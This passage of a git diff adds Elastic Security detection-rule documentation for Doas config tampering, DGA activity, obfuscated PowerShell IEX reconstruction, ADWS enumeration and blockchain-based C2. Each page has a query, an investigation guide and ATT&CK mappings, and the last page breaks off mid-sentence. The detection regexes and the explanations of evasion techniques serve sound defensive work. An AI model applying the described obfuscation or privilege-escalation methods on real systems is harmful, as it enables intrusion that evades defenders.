a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-defense-evasion-via-doas.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-defense-evasion-via-doas.asciidoc new file mode 100644 index 0000000000..65211a8e9e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-defense-evasion-via-doas.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-potential-defense-evasion-via-doas]] +=== Potential Defense Evasion via Doas + +This rule detects the creation or rename of the Doas configuration file on a Linux system. Adversaries may create or modify the Doas configuration file to elevate privileges and execute commands as other users while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://wiki.archlinux.org/title/Doas + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Defense Evasion via Doas* + + +Doas is a command-line utility on Linux systems that allows users to execute commands as another user, typically with elevated privileges. Adversaries may exploit this by altering the Doas configuration file to gain unauthorized access or escalate privileges, bypassing security measures. The detection rule identifies suspicious activities by monitoring changes to the Doas configuration file, signaling potential misuse aimed at evading defenses. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file path involved is "/etc/doas.conf" and the event type is not "deletion", as specified in the query. +- Check the timestamp of the alert to determine when the configuration file was created or modified, and correlate this with any known scheduled changes or maintenance activities. +- Investigate the user account associated with the event to determine if they have legitimate reasons to modify the Doas configuration file, and verify their access permissions. +- Examine system logs and command history around the time of the alert to identify any suspicious activities or commands executed by the user. +- Assess the current Doas configuration file for unauthorized changes or entries that could indicate privilege escalation attempts. +- Cross-reference the alert with other security events or alerts from the same host to identify potential patterns or related activities that could suggest a broader attack. + + +*False positive analysis* + + +- Routine administrative updates to the Doas configuration file can trigger alerts. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for legitimate updates. +- Automated configuration management tools may modify the Doas configuration file as part of their normal operation. Identify these tools and exclude their activities from triggering alerts by specifying their process names or user accounts. +- System backups or restoration processes might involve creating or renaming the Doas configuration file. Exclude these processes by identifying the backup software and adding it to the exception list. +- Development or testing environments where frequent changes to the Doas configuration file are expected can generate false positives. Consider excluding these environments from monitoring or adjusting the rule to account for their unique activity patterns. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Review and revert any unauthorized changes to the Doas configuration file located at /etc/doas.conf to its last known good state. +- Conduct a thorough audit of user accounts and permissions on the affected system to identify and remove any unauthorized accounts or privilege escalations. +- Implement additional monitoring on the affected system to detect any further attempts to modify the Doas configuration file or other critical system files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. +- Apply patches and updates to the affected system to address any vulnerabilities that may have been exploited by the adversary. +- Review and enhance access controls and authentication mechanisms to prevent unauthorized privilege escalation attempts in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type != "deletion" and file.path == "/etc/doas.conf" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-dga-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-dga-activity.asciidoc new file mode 100644 index 0000000000..ff4cce80bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-dga-activity.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-potential-dga-activity]] +=== Potential DGA Activity + +A population analysis machine learning job detected potential DGA (domain generation algorithm) activity. Such activity is often used by malware command and control (C2) channels. This machine learning job looks for a source IP address making DNS requests that have an aggregate high probability of being DGA activity. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/dga +* https://www.elastic.co/security-labs/detect-domain-generation-algorithm-activity-with-new-kibana-integration + +*Tags*: + +* Use Case: Domain Generation Algorithm Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Command and Control +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential DGA Activity* + +Domain Generation Algorithms (DGAs) are used by malware to dynamically generate domain names for command and control (C2) communication, making it difficult to block malicious domains. Adversaries exploit this by frequently changing domains to evade detection. The 'Potential DGA Activity' detection rule leverages machine learning to analyze DNS requests from source IPs, identifying patterns indicative of DGA usage, thus flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the source IP address identified in the alert to determine if it belongs to a known or trusted entity within the organization. +- Analyze the DNS request patterns from the source IP to identify any unusual or suspicious domain names that may indicate DGA activity. +- Cross-reference the flagged domains with threat intelligence feeds to check for known malicious domains or patterns associated with DGAs. +- Investigate the network traffic associated with the source IP to identify any additional indicators of compromise or communication with known malicious IPs. +- Check for any recent changes or anomalies in the system or network configurations that could explain the detected activity. +- Assess the risk score and severity in the context of the organization's environment to prioritize the investigation and response efforts. + + +*False positive analysis* + + +- Legitimate software updates or cloud services may generate high volumes of DNS requests that resemble DGA patterns. Users can create exceptions for known update servers or cloud service domains to reduce false positives. +- Content delivery networks (CDNs) often use dynamically generated subdomains for load balancing and distribution, which can trigger DGA alerts. Identifying and excluding these CDN domains from analysis can help mitigate false positives. +- Large organizations with complex internal networks might have internal applications that generate DNS requests similar to DGA activity. Conducting a thorough review of internal DNS traffic and whitelisting known internal domains can prevent these false positives. +- Some security tools or network appliances may perform DNS lookups as part of their normal operation, which could be misclassified as DGA activity. Identifying these tools and excluding their IP addresses from the analysis can help manage false positives. + + +*Response and remediation* + + +- Isolate the affected systems: Immediately disconnect any systems identified as making suspicious DNS requests from the network to prevent further communication with potential C2 servers. +- Block identified domains: Use firewall and DNS filtering solutions to block the domains flagged by the detection rule, preventing any further communication attempts. +- Conduct a thorough system scan: Use updated antivirus and anti-malware tools to scan the isolated systems for any signs of infection or malicious software. +- Analyze network traffic: Review network logs to identify any additional suspicious activity or other systems that may be affected, focusing on unusual DNS requests and connections. +- Patch and update systems: Ensure all systems, especially those identified in the alert, are fully patched and updated to mitigate vulnerabilities that could be exploited by malware. +- Restore from backups: If malware is confirmed, restore affected systems from clean backups to ensure no remnants of the infection remain. +- Escalate to incident response team: If the threat is confirmed and widespread, escalate the incident to the organization's incident response team for further investigation and coordinated response efforts. + +==== Setup + + + +*Setup* + + +The rule requires the Domain Generation Algorithm (DGA) Detection integration assets to be installed, as well as DNS events collected by integrations such as Elastic Defend, Network Packet Capture, or Packetbeat. + + +*DGA Detection Setup* + +The DGA Detection integration consists of an ML-based framework to detect DGA activity in DNS events. + + +*Prerequisite Requirements:* + +- Fleet is required for DGA Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- DNS events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend], https://docs.elastic.co/integrations/network_traffic[Network Packet Capture] integration, or https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-overview.html[Packetbeat]. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Network Packet Capture integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. +- To set up and run Packetbeat, follow https://www.elastic.co/guide/en/beats/packetbeat/current/setting-up-and-running.html[this] guide. + + +*The following steps should be executed to install assets associated with the DGA Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Domain Generation Algorithm Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Anomaly Detection Setup* + +Before you can enable this rule, you'll need to enable the corresponding Anomaly Detection job. +- Go to the Kibana homepage. Under Analytics, click Machine Learning. +- Under Anomaly Detection, click Jobs, and then click "Create job". Select the Data View containing your enriched DNS events. For example, this would be `logs-endpoint.events.*` if you used Elastic Defend to collect events, or `logs-network_traffic.*` if you used Network Packet Capture. +- If the selected Data View contains events that match the query in https://github.com/elastic/integrations/blob/main/packages/dga/kibana/ml_module/dga-ml.json[this] configuration file, you will see a card for DGA under "Use preconfigured jobs". +- Keep the default settings and click "Create jobs" to start the anomaly detection job and datafeed. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc new file mode 100644 index 0000000000..977335c69d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-20-potential-dynamic-iex-reconstruction-via-environment-variables]] +=== Potential Dynamic IEX Reconstruction via Environment Variables + +Detects PowerShell scripts that reconstructs IEX (Invoke-Expression) by indexing environment variable strings (for example, $env:VAR[1,2,3]) or related `.name[...]` slices and joining characters at runtime. Attackers use environment-variable slicing to hide dynamic execution and evade keyword-based detections and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential Dynamic IEX Reconstruction via Environment Variables* + + +This alert indicates PowerShell Script Block Logging captured a script that builds "IEX" (Invoke-Expression) at runtime by indexing characters from environment variable strings or related name properties and combining them. This technique is commonly used to obscure dynamic execution and can indicate an attempt to execute attacker-controlled content. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Confirm scope and execution context: + - Review `host.name` and `host.id` to identify the impacted endpoint and determine whether it is a typical user workstation, server, or a special-purpose system in your environment. + - Review `user.name`, `user.domain`, and `user.id` to understand who executed the script and whether the account is expected to run PowerShell on this host (interactive user, service account, or administrative context). + - Use `agent.id` (if available) to identify the reporting agent and to support correlation with other telemetry collected from the same endpoint. + - Use the alert timestamp as the anchor to correlate activity immediately before and after the script block ran. + +- Analyze the obfuscation and intended execution: + - Examine `powershell.file.script_block_text` to locate environment-variable slicing patterns (for example, `$env:[]`, `$env:[,,]`, or `.name[,,]`) and identify the variable names and indices being used. + - Use `Esql.script_block_tmp` to quickly find the match locations, then review the surrounding context in `powershell.file.script_block_text` to determine how the reconstructed string is used (assignment, concatenation/join, or immediate invocation). + - Determine whether the reconstructed output is used as a dynamic execution primitive (for example, passed to `Invoke-Expression` / `IEX`, used with the call operator, or invoked via a method). Focus on what content is ultimately evaluated or executed. + +- Reconstruct full script content: + - If the script appears incomplete or staged across multiple events, use `powershell.file.script_block_id` with `powershell.sequence` and `powershell.total` to collect all fragments and rebuild the full script in order. + - After reconstruction, identify where string construction occurs versus where execution occurs to understand the end-to-end flow. + +- Assess obfuscation level and intent using available enrichments: + - Review `Esql.script_block_pattern_count` to understand how frequently the reconstruction pattern appears within the script block; repeated occurrences can indicate systematic obfuscation rather than an isolated string operation. + - Review `powershell.file.script_block_length` for size context and compare it with typical script sizes seen for the same host or user. + - Review `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_surprisal_stdev`, and `powershell.file.script_block_unique_symbols` to gauge whether the script contains encoded or highly obfuscated content (for example, large high-entropy blocks that may indicate packed or encoded data). + +- Identify script origin and potential spread: + - If `file.path` is populated, review `file.name` and `file.directory` to determine where the script was sourced from and whether the location aligns with approved administrative tooling or software distribution paths. + - If `file.path` is not populated, treat the activity as potentially inline or dynamically generated and prioritize identifying the initiating process or source using adjacent telemetry. + - Scope for other alerts or script blocks on the same `host.id` or associated with the same `user.id` that show similar reconstruction patterns, especially within the same time window. + +- Correlate with adjacent telemetry (as available in your environment): + - Using `host.id` / `host.name`, `user.id`, and the alert time, correlate with process execution data to identify the PowerShell host process and the initiating parent process or source (for example, interactive session, script runner, scheduled task, service, or another application). + - Correlate with network, file, registry, and authentication telemetry on the same host around the alert time to identify follow-on activity that supports malicious intent (download or retrieval of content, creation or modification of files, persistence-related changes, or suspicious logons). + + +*False positive analysis* + + +- Legitimate automation or administration scripts may construct command strings dynamically, including deriving short tokens from environment variables for compatibility or to reduce hard-coded strings. +- Security testing and purple-team or red-team activity may intentionally use environment-variable slicing to emulate evasive tradecraft. +- Developer tooling, obfuscation research, or PowerShell training content may include this technique. Benign usage is typically tied to known owners, consistent hosts, predictable execution windows, and the absence of suspicious downstream activity. + + +*Response and remediation* + + +- If the activity is suspected or confirmed malicious: + - Contain the affected host to prevent additional execution and reduce lateral movement risk. + - Preserve evidence by collecting the complete script content using `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total`, and retain the original `powershell.file.script_block_text` for analysis. + - Extract and track indicators from the script content (for example, URLs, domains, IP addresses, file names, or unique strings) and scope for additional occurrences across the environment using `host.id`, `host.name`, `user.id`, and `file.path` when present. + - Identify and remediate the initial execution source (parent process or launching mechanism) and remove or quarantine any associated script files referenced by `file.path`. + - If account compromise is suspected, reset affected credentials and review for additional suspicious PowerShell activity associated with the same `user.id`. + +- If the activity is determined to be benign: + - Document the business justification, owning team, expected hosts, and expected script location (`file.path` when present). + - Monitor for deviations in execution context (new hosts, new users, or materially different script content) and consider targeted tuning based on stable attributes such as `file.path` and known `user.id` values. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """(?i)(\$(?:\w+|\w+\:\w+)\[\d++\]\+\$(?:\w+|\w+\:\w+)\[\d++\]\+['"]x['"]|\$(?:\w+\:\w+)\[\d++,\d++,\d++\]|\.name\[\d++,\d++,\d++\])""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-enumeration-via-active-directory-web-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-enumeration-via-active-directory-web-service.asciidoc new file mode 100644 index 0000000000..b55bd0c3e0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-enumeration-via-active-directory-web-service.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-20-potential-enumeration-via-active-directory-web-service]] +=== Potential Enumeration via Active Directory Web Service + +Identifies processes loading Active Directory related modules followed by a network connection to the ADWS dedicated TCP port. Adversaries may abuse the ADWS Windows service that allows Active Directory to be queried via this web service. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/FalconForceTeam/SOAPHound + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Enumeration via Active Directory Web Service* + + +Active Directory Web Service (ADWS) facilitates querying Active Directory (AD) over a network, providing a web-based interface for directory services. Adversaries may exploit ADWS to enumerate network resources and user accounts, gaining insights into the environment. The detection rule identifies suspicious activity by monitoring processes that load AD-related modules and establish network connections to the ADWS port, indicating potential unauthorized enumeration attempts. + + +*Possible investigation steps* + + +- Review the process entity ID to identify the specific process that triggered the alert and gather details such as the process name, executable path, and user context. +- Examine the user ID associated with the process to determine if it belongs to a legitimate user or service account, and verify if the user has a history of accessing Active Directory resources. +- Investigate the network connection details, focusing on the destination IP address and port 9389, to identify the target server and assess if it is a legitimate Active Directory Web Service endpoint. +- Check for any recent changes or unusual activity on the host machine, such as new software installations or configuration changes, that could explain the loading of Active Directory-related modules. +- Correlate the alert with other security events or logs from the same timeframe to identify any patterns or additional suspicious activities that might indicate a broader attack or reconnaissance effort. + + +*False positive analysis* + + +- Legitimate administrative tools or scripts may load Active Directory-related modules and connect to the ADWS port. To handle this, create exceptions for known administrative processes that regularly perform these actions. +- Scheduled tasks or automated scripts running under service accounts might trigger the rule. Identify these tasks and exclude their associated user IDs or process paths from the detection rule. +- Security or monitoring software that queries Active Directory for legitimate purposes can cause false positives. Review and whitelist these applications by adding their executable paths to the exclusion list. +- Development or testing environments where developers frequently interact with Active Directory services may generate alerts. Consider excluding specific user IDs or process paths associated with these environments to reduce noise. +- Ensure that any exceptions or exclusions are regularly reviewed and updated to reflect changes in the environment or administrative practices. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified in the alert that are loading Active Directory-related modules and making network connections to the ADWS port. +- Conduct a thorough review of the affected system's user accounts and permissions to identify any unauthorized changes or access. +- Reset credentials for any accounts that were potentially compromised or used in the suspicious activity. +- Implement network segmentation to limit access to the ADWS port (9389) to only trusted systems and users. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update and enhance monitoring rules to detect similar enumeration attempts in the future, focusing on unusual process behavior and network connections to critical services. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=3m + [library where host.os.type == "windows" and + dll.name : ("System.DirectoryServices*.dll", "System.IdentityModel*.dll") and + not user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + not process.executable : + ("?:\\windows\\system32\\dsac.exe", + "?:\\program files\\powershell\\?\\pwsh.exe", + "?:\\windows\\system32\\windowspowershell\\*.exe", + "?:\\windows\\syswow64\\windowspowershell\\*.exe", + "?:\\program files\\microsoft monitoring agent\\*.exe", + "?:\\windows\\adws\\microsoft.activedirectory.webservices.exe")] + [network where host.os.type == "windows" and destination.port == 9389 and source.port >= 49152 and + network.direction == "egress" and network.transport == "tcp" and not cidrmatch(destination.ip, "127.0.0.0/8", "::1/128")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-etherhiding-c2-via-blockchain-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-etherhiding-c2-via-blockchain-connection.asciidoc new file mode 100644 index 0000000000..2acfb1e46f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-etherhiding-c2-via-blockchain-connection.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-potential-etherhiding-c2-via-blockchain-connection]] +=== Potential Etherhiding C2 via Blockchain Connection + +Detects when a scripting interpreter makes an outbound network connection to an Ethereum blockchain endpoint for command and control purposes. Adversaries may leverage Ethereum blockchain infrastructure as a covert C2 channel to receive commands and exfiltrate data, as observed in campaigns like SleepyDuck malware. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://secureannex.com/blog/sleepyduck-malware/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Etherhiding C2 via Blockchain Connection* + + +Etherhiding is an advanced command and control technique where threat actors store malicious configurations, commands, or payload URLs within blockchain transactions on platforms like Ethereum or Binance Smart Chain. This approach provides a highly resilient and censorship-resistant C2 infrastructure since blockchain data cannot be taken down or modified. This detection rule identifies script interpreters or suspicious processes connecting to blockchain API endpoints that may be retrieving attacker-controlled data from the blockchain. + + +*Possible investigation steps* + + +- Review the process.name and process.executable fields to identify which application is making blockchain API requests and assess whether cryptocurrency or Web3 functionality is expected on this system. +- Examine the destination.domain and dns.question.name fields to identify the specific blockchain API endpoint being queried, such as Infura, Alchemy, or public RPC endpoints. +- Analyze the process.command_line and process.args to understand what code or script is executing and look for hardcoded contract addresses or wallet addresses that may be querying blockchain data. +- Investigate the process.parent.executable and parent process chain to determine how the blockchain-querying process was launched and identify the initial execution vector. +- Review network connection payloads if available to identify the specific blockchain queries being made and extract any contract addresses or transaction hashes being queried. +- Search threat intelligence sources for the identified contract addresses or wallet addresses to determine if they are associated with known malicious campaigns. +- Correlate with file modification events on the same host to identify if the blockchain data is being written to disk or used to configure malware. + + +*False positive analysis* + + +- Cryptocurrency wallet applications and browser extensions legitimately access blockchain APIs to display balances and transaction history. Verify if the user has approved cryptocurrency applications. +- Web3 developers and blockchain application developers may use blockchain APIs during development and testing. Confirm with development teams if such activities are expected. +- Decentralized application (dApp) browsers and related tools access blockchain data as part of normal operations. Verify if these tools are sanctioned for business use. +- NFT marketplaces and 